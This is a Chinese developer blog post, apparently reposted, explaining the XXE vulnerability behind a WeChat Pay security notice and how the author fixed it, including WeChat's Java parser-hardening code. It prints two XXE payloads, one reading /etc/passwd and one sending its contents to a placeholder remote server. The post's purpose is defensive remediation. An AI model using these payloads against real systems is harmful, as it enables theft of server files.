XXE漏洞、原理、修复----微信支付捧红的老漏洞

       今天突然接到微信支付的通知,紧急修复XXE漏洞。虽然已经工作多年但是对网络安全仅仅使了解皮毛,要想修复漏洞就要先搞清楚漏洞的基本执行原理。

1、XXE的背景

XML External Entity attack简称XXE,XML外部实体攻击。是利用 XML标准中外部通用解析实体的概念。在解析XML文档时,解析器通过 ENTITY 扩展的功能,读取本地受保护的文件。并且使用扩展功能将受保护的文件发送到远程地址。

维基百科上看,OWASP在2017年才把XXE漏洞列入十大网络安全风险,排名第4位。但是该漏洞被发现的时间应该是在2014年之前,并且期间并没有引起我们重视(只少我是在微信支付的提醒下才开始了解的)。

概念有点绕,下面是代码。

2、XXE攻击步骤

(1)通过DOCTYPE和ENTITY来加载本地受保护的文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxeattack SYSTEM "file:///etc/passwd">
]>
<xxx>&xxeattack;</xxx>

上面代码通过DOCTYPE 中的ENTITY 读取了本地的 /etc/passwd 文件,定位为变量xxeattack ,并在xxx标签中引用。引用是变量的方式必须以 & 开头,以 ; 结尾。/etc/passwd 文件中的内容会被解析到xxx标签中。

<xxx>root:1:3.......</xxx>
(2)将/etc/passwd的内容发送到远程服务器

上面只是把/etc/passwd 加载到XML的某个标签中,只要被攻击程序没有主动把这段XML打印出来还是拿不到/etc/passwd中的内容。所以我们需要XML帮我们把文件发送到我们的服务器上。修改上一步代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % xxeattack SYSTEM "file:///etc/passwd">
<!ENTITY remote SYSTEM 'http://remote.server/accepter?passwd=%xxeattack;'>
]>
<xxx>&remote;</xxx>

在xxeattack变量前面加了一个%号,该变量可以在ENTITY中引用,引用方式是以%开头,以;(分号)结尾。

定义第二个变量remote。值为远程服务器的url,然后定义GET参数passwd,引用xxeattack变量。

然后再xxx标签中引用remote变量。

如果解析器解析该XML扩展头时会先读取/etc/passwd 文件,把文件内容当拼到下一个变量remote中。最后解析XML正文时会把/etc/passwd当作参数请求remote代表的URL。

攻击结束…………

总结,该漏洞就是使用了XML标准可以扩展外部实体的特性,外部实体包括本地文件和远程地址。再加上实体声明中可以引用实体声明的参数。

3、修复XXE漏洞

最简单、粗暴、有效、直接的修复方式就是禁用DOCTYPE。检查项目边界中XML入口,在解析XML之前检查XML字符串是否包含DOCTYPE、ENTITY 的字符串。如果包含这两个关键字中的任意一个,都不做解析,直接返回错误或抛出异常。

微信最开始给出的JAVA解决方案是:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(false);
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

仅仅只有这三行代码,而且改修复方式只适用于jdk1.7以上版本。包含JDK1.7在内的低版本JDK都是无效的。

刚好我们的项目是JDK1.7,而我本地开发JDK是1.8。当我本地改完的时候发现完美的拒绝了DTD的HTTP请求。但是测试灰度环境却是毫无作用,漏洞依然存在。反复测试发现微信第一时间提供的漏洞修复方案只能修复JDK1.7以上的DTD解析。对于1.7在内的低版本JDK完全无效,最后只能判断XML是否包含DOCTYPEENTITY 这两个字符,如果包含任意一个则拒绝解析,直接返回错误。

目前微信给出的修改方案就比较完整了,下面是摘抄自 微信最佳安全实践

微信官方提供的JAVA解决方案

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
...

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
// This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented
// Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl

FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);

// If you can't completely disable DTDs, then at least do the following:
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities

// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities

// JDK7+ - http://xml.org/sax/features/external-general-entities 
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);

// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities

// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities

// JDK7+ - http://xml.org/sax/features/external-parameter-entities 
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);

// Disable external DTDs as well
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);

// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then 
// ensure the entity settings are disabled (as shown above) and beware that SSRF attacks
// (http://cwe.mitre.org/data/definitions/918.html) and denial 
// of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk."

// remaining parser logic
...
} catch (ParserConfigurationException e) {
// This should catch a failed setFeature feature
logger.info("ParserConfigurationException was thrown. The feature '" +
FEATURE + "' is probably not supported by your XML processor.");
...
}
catch (SAXException e) {
// On Apache, this should be thrown when disallowing DOCTYPE
logger.warning("A DOCTYPE was passed into the XML document");
...
}
catch (IOException e) {
// XXE that points to a file that doesn't exist
logger.error("IOException occurred, XXE may still possible: " + e.getMessage());
...
}
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

总结,其实漏洞的核心就是DTD(DOCTYPE)导致的,只要在解析XML之前拦截该关键词就可以避免。

P.S.

// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"

微信提供的修复方案中的注释也指出,2014年Timothy Morgan的论文就论述了XML DTD的Entity攻击。所以这个漏洞至少在2014年就被挖出来了,但是因为XML的用途导致其危害并不大。而恰巧微信选择了XML作为支付接口的报文传输,导致了该接口这次的广泛重视。所以说XXE是被微信捧红的一点不为过,噗~~~

P.S.

本来以为这次漏洞是因为我们对接时忽略了XML的DTD特性导致的,后来发现原来微信自己的服务端SDK也中招了。

啥?你还想使用DTD特性?

我都不知道为毛微信要用XML格式来传递报文……JSON不好吗?

 

欢迎拍砖、讨论、指正……

转载于:https://my.oschina.net/u/574353/blog/1841103

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值